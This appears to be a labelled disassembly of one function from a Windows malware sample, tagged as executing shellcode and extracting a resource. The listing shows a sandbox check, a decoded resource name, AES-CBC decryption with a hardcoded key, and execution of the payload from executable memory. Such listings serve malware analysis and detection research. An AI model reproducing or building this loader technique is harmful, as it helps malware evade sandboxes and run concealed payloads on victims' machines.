Function at 0x140002667
Capabilities:
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x128
call sym.QuitIfSandboxed__
test al, al
jne 0x14000295d
movabs rax, 0x6d797375676b6760
mov dl, 0x32
mov word [rsp + 0x110], 0x3b7b
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x108]
mov rdi, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x3c
jne 0x1400026b0
mov r8, rdi
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov r12, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r12
xor ecx, ecx
lea r12, [rsp + 0x60]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r13, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, r12
mov rdx, rax
lea r8, [rax + rbx]
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_unsigned_char__void__unsigned_char__unsigned_char__std::allocator_unsigned_char__const___clone_.constprop.0_
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea r15, [rsp + 0x40]
lea r13, [rsp + 0x78]
mov qword [rsp + 0x40], rdi
movabs rax, 0xa6d2ae2816157e2b
mov qword [rsp + 0x108], rax
mov rdx, r15
mov rcx, r13
movabs rax, 0xc593a4f6297f7ab
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x48], 0x10
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const___clone_.constprop.0_
lea r14, [rsp + 0x90]
mov rdx, r15
mov qword [rsp + 0x40], rdi
movabs rax, 0x706050403020100
mov qword [rsp + 0x108], rax
mov rcx, r14
movabs rax, 0xf0e0d0c0b0a0908
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x48], 0x10
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const___clone_.constprop.0_
lea r15, [rsp + 0xd8]
mov rdx, r14
movabs rax, 0xa00000004
mov rcx, r15
mov qword [rsp + 0x58], rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rsp + 0xc0]
mov rdx, r13
mov rcx, rax
mov qword [rsp + 0x30], rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rsp + 0xa8]
mov rdx, r12
mov rcx, rax
mov qword [rsp + 0x38], rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::vector_unsigned_char__std::allocator_unsigned_char____const_
mov qword [rsp + 0x20], r15
mov r9, qword [rsp + 0x30]
lea rdx, [rsp + 0x58]
lea rbp, [rsp + 0xf0]
mov r8, qword [rsp + 0x38]
mov rcx, rbp
call method.AES.DecryptCBC_std::vector_unsigned_char__std::allocator_unsigned_char_____std::vector_unsigned_char__std::allocator_unsigned_char_____std::vector_unsigned_char__std::allocator_unsigned_char____
mov r8, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0xf8], 0
mov rdx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x70]
mov rsi, qword [rsp + 0xf0]
mov qword [rsp + 0x68], r8
mov r8, qword [rsp + 0x100]
mov qword [rsp + 0x108], rcx
mov rcx, rdi
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0x100], 0
call method.std::_Vector_base_unsigned_char__std::allocator_unsigned_char___._Vector_base__
mov rcx, rbp
call method.std::_Vector_base_unsigned_char__std::allocator_unsigned_char___._Vector_base__
mov rcx, qword [rsp + 0x38]
call method.std::_Vector_base_unsigned_char__std::allocator_unsigned_char___._Vector_base__
mov rcx, qword [rsp + 0x30]
call method.std::_Vector_base_unsigned_char__std::allocator_unsigned_char___._Vector_base__
mov rcx, r15
call method.std::_Vector_base_unsigned_char__std::allocator_unsigned_char___._Vector_base__
mov r9d, 0x40
mov rdx, rbx
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov rcx, rbx
mov r15, rax
rep movsb byte [rdi], byte [rsi]
call rax
mov r8d, 0x8000
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r14
call method.std::_Vector_base_unsigned_char__std::allocator_unsigned_char___._Vector_base__
mov rcx, r13
call method.std::_Vector_base_unsigned_char__std::allocator_unsigned_char___._Vector_base__
mov rcx, r12
call method.std::_Vector_base_unsigned_char__std::allocator_unsigned_char___._Vector_base__
jmp 0x14000295d
xor eax, eax
add rsp, 0x128
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret